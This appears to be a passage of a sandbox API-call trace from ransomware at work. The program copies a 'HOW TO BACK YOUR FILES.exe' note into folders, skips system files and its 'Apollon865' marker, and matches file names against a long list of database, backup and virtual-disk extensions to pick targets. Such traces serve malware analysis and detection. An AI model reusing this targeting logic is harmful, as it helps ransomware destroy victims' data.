	[0053.194] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0c30 | out: hHeap=0x580000) returned 1
	[0053.194] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b58d8 | out: hHeap=0x580000) returned 1
	[0053.194] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0b18 | out: hHeap=0x580000) returned 1
	[0053.194] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.195] CloseHandle (hObject=0x154) returned 1
	[0053.195] CloseHandle (hObject=0x118) returned 1
	[0053.195] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.195] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.195] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.195] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0
	[0053.195] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0053.195] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fcb0
	[0053.195] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Favorites\\MSN Websites", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites"
	[0053.195] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb18 | out: hHeap=0x580000) returned 1
	[0053.195] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0053.195] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\MSN Websites") returned 39
	[0053.195] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Favorites\\MSN Websites" | out: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites"
	[0053.195] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.195] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\favorites\\msn websites\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.196] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0053.196] GetLastError () returned 0x0
	[0053.196] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.196] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.196] CloseHandle (hObject=0x15c) returned 1
	[0053.196] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.196] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.196] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e1d6eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e1d6eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0053.196] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.196] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.196] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.197] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e1d6eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e1d6eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.197] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.197] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.197] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.197] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.197] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1d6eb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e1d6eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.197] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.197] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1
	[0053.197] lstrcmpiW (lpString1="MSN Autos.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.197] lstrcmpiW (lpString1="MSN Autos.url", lpString2="Apollon865.txt.exe") returned 1
	[0053.197] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".") returned 1
	[0053.197] lstrcmpiW (lpString1="MSN Autos.url", lpString2="..") returned 1
	[0053.197] lstrcmpiW (lpString1="MSN Autos.url", lpString2="windows") returned -1
	[0053.197] lstrcmpiW (lpString1="MSN Autos.url", lpString2="bootmgr") returned 1
	[0053.197] lstrcmpiW (lpString1="MSN Autos.url", lpString2="temp") returned -1
	[0053.197] lstrcmpiW (lpString1="MSN Autos.url", lpString2="pagefile.sys") returned -1
	[0053.197] lstrcmpiW (lpString1="MSN Autos.url", lpString2="boot") returned 1
	[0053.197] lstrcmpiW (lpString1="MSN Autos.url", lpString2="ids.txt") returned 1
	[0053.197] lstrcmpiW (lpString1="MSN Autos.url", lpString2="ntuser.dat") returned -1
	[0053.197] lstrcmpiW (lpString1="MSN Autos.url", lpString2="perflogs") returned -1
	[0053.197] lstrcmpiW (lpString1="MSN Autos.url", lpString2="MSBuild") returned 1
	[0053.197] lstrlenW (lpString="MSN Autos.url") returned 13
	[0053.197] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\MSN Websites\\*") returned 41
	[0053.197] lstrcpyW (in: lpString1=0x119e658, lpString2="MSN Autos.url" | out: lpString1="MSN Autos.url") returned="MSN Autos.url"
	[0053.197] lstrlenW (lpString="MSN Autos.url") returned 13
	[0053.197] lstrlenW (lpString="Apollon865") returned 10
	[0053.197] lstrcmpiW (lpString1=" Autos.url", lpString2="Apollon865") returned -1
	[0053.197] lstrlenW (lpString=".dll") returned 4
	[0053.197] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".dll") returned 1
	[0053.197] lstrlenW (lpString=".lnk") returned 4
	[0053.197] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".lnk") returned 1
	[0053.197] lstrlenW (lpString=".ini") returned 4
	[0053.198] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".ini") returned 1
	[0053.198] lstrlenW (lpString=".sys") returned 4
	[0053.198] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".sys") returned 1
	[0053.198] lstrlenW (lpString="MSN Autos.url") returned 13
	[0053.198] lstrlenW (lpString="bak") returned 3
	[0053.198] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0053.198] lstrlenW (lpString="ba_") returned 3
	[0053.198] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0053.198] lstrlenW (lpString="dbb") returned 3
	[0053.198] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0053.198] lstrlenW (lpString="vmdk") returned 4
	[0053.198] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0053.198] lstrlenW (lpString="rar") returned 3
	[0053.198] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0053.198] lstrlenW (lpString="zip") returned 3
	[0053.198] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0053.198] lstrlenW (lpString="tgz") returned 3
	[0053.198] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0053.198] lstrlenW (lpString="vbox") returned 4
	[0053.198] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0053.198] lstrlenW (lpString="vdi") returned 3
	[0053.198] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0053.198] lstrlenW (lpString="vhd") returned 3
	[0053.198] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0053.198] lstrlenW (lpString="vhdx") returned 4
	[0053.198] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0053.198] lstrlenW (lpString="avhd") returned 4
	[0053.198] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0053.198] lstrlenW (lpString="db") returned 2
	[0053.198] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0053.198] lstrlenW (lpString="db2") returned 3
	[0053.198] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0053.198] lstrlenW (lpString="db3") returned 3
	[0053.198] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0053.198] lstrlenW (lpString="dbf") returned 3
	[0053.199] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0053.199] lstrlenW (lpString="mdf") returned 3
	[0053.199] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0053.199] lstrlenW (lpString="mdb") returned 3
	[0053.199] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0053.199] lstrlenW (lpString="sql") returned 3
	[0053.199] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0053.199] lstrlenW (lpString="sqlite") returned 6
	[0053.199] lstrcmpiW (lpString1="os.url", lpString2="sqlite") returned -1
	[0053.199] lstrlenW (lpString="sqlite3") returned 7
	[0053.199] lstrcmpiW (lpString1="tos.url", lpString2="sqlite3") returned 1
	[0053.199] lstrlenW (lpString="sqlitedb") returned 8
	[0053.199] lstrcmpiW (lpString1="utos.url", lpString2="sqlitedb") returned 1
	[0053.199] lstrlenW (lpString="xml") returned 3
	[0053.199] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0053.199] lstrlenW (lpString="$er") returned 3
	[0053.199] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0053.199] lstrlenW (lpString="4dd") returned 3
	[0053.199] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0053.199] lstrlenW (lpString="4dl") returned 3
	[0053.199] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0053.199] lstrlenW (lpString="^^^") returned 3
	[0053.199] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0053.199] lstrlenW (lpString="abs") returned 3
	[0053.199] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0053.199] lstrlenW (lpString="abx") returned 3
	[0053.199] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0053.199] lstrlenW (lpString="accdb") returned 5
	[0053.199] lstrcmpiW (lpString1="s.url", lpString2="accdb") returned 1
	[0053.199] lstrlenW (lpString="accdc") returned 5
	[0053.199] lstrcmpiW (lpString1="s.url", lpString2="accdc") returned 1
	[0053.199] lstrlenW (lpString="accde") returned 5
	[0053.199] lstrcmpiW (lpString1="s.url", lpString2="accde") returned 1
	[0053.199] lstrlenW (lpString="accdr") returned 5
	[0053.199] lstrcmpiW (lpString1="s.url", lpString2="accdr") returned 1
	[0053.200] lstrlenW (lpString="accdt") returned 5
	[0053.200] lstrcmpiW (lpString1="s.url", lpString2="accdt") returned 1
	[0053.200] lstrlenW (lpString="accdw") returned 5
	[0053.200] lstrcmpiW (lpString1="s.url", lpString2="accdw") returned 1
	[0053.200] lstrlenW (lpString="accft") returned 5
	[0053.200] lstrcmpiW (lpString1="s.url", lpString2="accft") returned 1
	[0053.200] lstrlenW (lpString="adb") returned 3
	[0053.200] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.200] lstrlenW (lpString="adb") returned 3
	[0053.200] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.200] lstrlenW (lpString="ade") returned 3
	[0053.200] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0053.200] lstrlenW (lpString="adf") returned 3
	[0053.200] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0053.200] lstrlenW (lpString="adn") returned 3
	[0053.200] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0053.200] lstrlenW (lpString="adp") returned 3
	[0053.200] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0053.200] lstrlenW (lpString="alf") returned 3
	[0053.200] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0053.200] lstrlenW (lpString="ask") returned 3
	[0053.200] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0053.200] lstrlenW (lpString="btr") returned 3
	[0053.200] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0053.200] lstrlenW (lpString="cat") returned 3
	[0053.200] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0053.200] lstrlenW (lpString="cdb") returned 3
	[0053.200] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0053.200] lstrlenW (lpString="ckp") returned 3
	[0053.200] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0053.200] lstrlenW (lpString="cma") returned 3
	[0053.200] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0053.200] lstrlenW (lpString="cpd") returned 3
	[0053.200] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0053.201] lstrlenW (lpString="dacpac") returned 6
	[0053.201] lstrcmpiW (lpString1="os.url", lpString2="dacpac") returned 1
	[0053.201] lstrlenW (lpString="dad") returned 3
	[0053.201] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0053.201] lstrlenW (lpString="dadiagrams") returned 10
	[0053.201] lstrcmpiW (lpString1=" Autos.url", lpString2="dadiagrams") returned -1
	[0053.201] lstrlenW (lpString="daschema") returned 8
	[0053.201] lstrcmpiW (lpString1="utos.url", lpString2="daschema") returned 1
	[0053.201] lstrlenW (lpString="db-journal") returned 10
	[0053.201] lstrcmpiW (lpString1=" Autos.url", lpString2="db-journal") returned -1
	[0053.201] lstrlenW (lpString="db-shm") returned 6
	[0053.201] lstrcmpiW (lpString1="os.url", lpString2="db-shm") returned 1
	[0053.201] lstrlenW (lpString="db-wal") returned 6
	[0053.201] lstrcmpiW (lpString1="os.url", lpString2="db-wal") returned 1
	[0053.201] lstrlenW (lpString="dbc") returned 3
	[0053.201] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0053.201] lstrlenW (lpString="dbs") returned 3
	[0053.201] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0053.201] lstrlenW (lpString="dbt") returned 3
	[0053.201] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0053.201] lstrlenW (lpString="dbv") returned 3
	[0053.201] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0053.201] lstrlenW (lpString="dbx") returned 3
	[0053.201] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0053.201] lstrlenW (lpString="dcb") returned 3
	[0053.201] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0053.201] lstrlenW (lpString="dct") returned 3
	[0053.201] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0053.201] lstrlenW (lpString="dcx") returned 3
	[0053.201] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0053.201] lstrlenW (lpString="ddl") returned 3
	[0053.201] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0053.201] lstrlenW (lpString="dlis") returned 4
	[0053.201] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0053.201] lstrlenW (lpString="dp1") returned 3
	[0053.202] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0053.202] lstrlenW (lpString="dqy") returned 3
	[0053.202] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0053.202] lstrlenW (lpString="dsk") returned 3
	[0053.202] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0053.202] lstrlenW (lpString="dsn") returned 3
	[0053.202] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0053.202] lstrlenW (lpString="dtsx") returned 4
	[0053.202] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0053.202] lstrlenW (lpString="dxl") returned 3
	[0053.202] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0053.202] lstrlenW (lpString="eco") returned 3
	[0053.202] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0053.202] lstrlenW (lpString="ecx") returned 3
	[0053.202] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0053.202] lstrlenW (lpString="edb") returned 3
	[0053.202] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0053.202] lstrlenW (lpString="epim") returned 4
	[0053.202] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0053.202] lstrlenW (lpString="fcd") returned 3
	[0053.202] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0053.202] lstrlenW (lpString="fdb") returned 3
	[0053.202] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0053.202] lstrlenW (lpString="fic") returned 3
	[0053.202] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0053.202] lstrlenW (lpString="flexolibrary") returned 12
	[0053.202] lstrcmpiW (lpString1="SN Autos.url", lpString2="flexolibrary") returned 1
	[0053.202] lstrlenW (lpString="fm5") returned 3
	[0053.202] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0053.202] lstrlenW (lpString="fmp") returned 3
	[0053.202] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0053.202] lstrlenW (lpString="fmp12") returned 5
	[0053.202] lstrcmpiW (lpString1="s.url", lpString2="fmp12") returned 1
	[0053.202] lstrlenW (lpString="fmpsl") returned 5
	[0053.202] lstrcmpiW (lpString1="s.url", lpString2="fmpsl") returned 1
	[0053.203] lstrlenW (lpString="fol") returned 3
	[0053.203] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0053.203] lstrlenW (lpString="fp3") returned 3
	[0053.203] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0053.203] lstrlenW (lpString="fp4") returned 3
	[0053.203] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0053.203] lstrlenW (lpString="fp5") returned 3
	[0053.203] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0053.203] lstrlenW (lpString="fp7") returned 3
	[0053.203] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0053.203] lstrlenW (lpString="fpt") returned 3
	[0053.203] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0053.203] lstrlenW (lpString="frm") returned 3
	[0053.203] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0053.203] lstrlenW (lpString="gdb") returned 3
	[0053.203] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.203] lstrlenW (lpString="gdb") returned 3
	[0053.203] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.203] lstrlenW (lpString="grdb") returned 4
	[0053.203] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0053.203] lstrlenW (lpString="gwi") returned 3
	[0053.203] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0053.203] lstrlenW (lpString="hdb") returned 3
	[0053.203] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0053.203] lstrlenW (lpString="his") returned 3
	[0053.203] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0053.203] lstrlenW (lpString="ib") returned 2
	[0053.203] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0053.203] lstrlenW (lpString="idb") returned 3
	[0053.203] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0053.203] lstrlenW (lpString="ihx") returned 3
	[0053.203] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0053.203] lstrlenW (lpString="itdb") returned 4
	[0053.203] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0053.203] lstrlenW (lpString="itw") returned 3
	[0053.204] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0053.204] lstrlenW (lpString="jet") returned 3
	[0053.204] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0053.204] lstrlenW (lpString="jtx") returned 3
	[0053.204] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0053.204] lstrlenW (lpString="kdb") returned 3
	[0053.204] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0053.204] lstrlenW (lpString="kexi") returned 4
	[0053.204] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0053.204] lstrlenW (lpString="kexic") returned 5
	[0053.204] lstrcmpiW (lpString1="s.url", lpString2="kexic") returned 1
	[0053.204] lstrlenW (lpString="kexis") returned 5
	[0053.204] lstrcmpiW (lpString1="s.url", lpString2="kexis") returned 1
	[0053.204] lstrlenW (lpString="lgc") returned 3
	[0053.204] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0053.204] lstrlenW (lpString="lwx") returned 3
	[0053.204] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0053.204] lstrlenW (lpString="maf") returned 3
	[0053.204] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0053.204] lstrlenW (lpString="maq") returned 3
	[0053.204] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0053.204] lstrlenW (lpString="mar") returned 3
	[0053.204] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0053.204] lstrlenW (lpString="marshal") returned 7
	[0053.204] lstrcmpiW (lpString1="tos.url", lpString2="marshal") returned 1
	[0053.204] lstrlenW (lpString="mas") returned 3
	[0053.204] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0053.204] lstrlenW (lpString="mav") returned 3
	[0053.204] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0053.204] lstrlenW (lpString="maw") returned 3
	[0053.204] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0053.204] lstrlenW (lpString="mdbhtml") returned 7
	[0053.204] lstrcmpiW (lpString1="tos.url", lpString2="mdbhtml") returned 1
	[0053.204] lstrlenW (lpString="mdn") returned 3
	[0053.204] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0053.205] lstrlenW (lpString="mdt") returned 3
	[0053.205] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0053.205] lstrlenW (lpString="mfd") returned 3
	[0053.205] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0053.205] lstrlenW (lpString="mpd") returned 3
	[0053.205] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0053.205] lstrlenW (lpString="mrg") returned 3
	[0053.205] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0053.205] lstrlenW (lpString="mud") returned 3
	[0053.205] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0053.205] lstrlenW (lpString="mwb") returned 3
	[0053.205] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0053.205] lstrlenW (lpString="myd") returned 3
	[0053.205] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0053.205] lstrlenW (lpString="ndf") returned 3
	[0053.205] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0053.205] lstrlenW (lpString="nnt") returned 3
	[0053.205] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0053.205] lstrlenW (lpString="nrmlib") returned 6
	[0053.205] lstrcmpiW (lpString1="os.url", lpString2="nrmlib") returned 1
	[0053.205] lstrlenW (lpString="ns2") returned 3
	[0053.205] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0053.205] lstrlenW (lpString="ns3") returned 3
	[0053.205] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0053.205] lstrlenW (lpString="ns4") returned 3
	[0053.205] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0053.205] lstrlenW (lpString="nsf") returned 3
	[0053.205] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0053.205] lstrlenW (lpString="nv") returned 2
	[0053.205] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0053.205] lstrlenW (lpString="nv2") returned 3
	[0053.205] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0053.205] lstrlenW (lpString="nwdb") returned 4
	[0053.205] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0053.205] lstrlenW (lpString="nyf") returned 3
	[0053.206] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0053.206] lstrlenW (lpString="odb") returned 3
	[0053.206] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.206] lstrlenW (lpString="odb") returned 3
	[0053.206] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.206] lstrlenW (lpString="oqy") returned 3
	[0053.206] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0053.206] lstrlenW (lpString="ora") returned 3
	[0053.206] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0053.206] lstrlenW (lpString="orx") returned 3
	[0053.206] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0053.206] lstrlenW (lpString="owc") returned 3
	[0053.206] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0053.206] lstrlenW (lpString="p96") returned 3
	[0053.206] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0053.206] lstrlenW (lpString="p97") returned 3
	[0053.206] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0053.206] lstrlenW (lpString="pan") returned 3
	[0053.206] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0053.206] lstrlenW (lpString="pdb") returned 3
	[0053.206] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0053.206] lstrlenW (lpString="pdm") returned 3
	[0053.206] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0053.206] lstrlenW (lpString="pnz") returned 3
	[0053.206] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0053.206] lstrlenW (lpString="qry") returned 3
	[0053.206] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0053.206] lstrlenW (lpString="qvd") returned 3
	[0053.206] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0053.206] lstrlenW (lpString="rbf") returned 3
	[0053.206] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0053.206] lstrlenW (lpString="rctd") returned 4
	[0053.206] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0053.206] lstrlenW (lpString="rod") returned 3
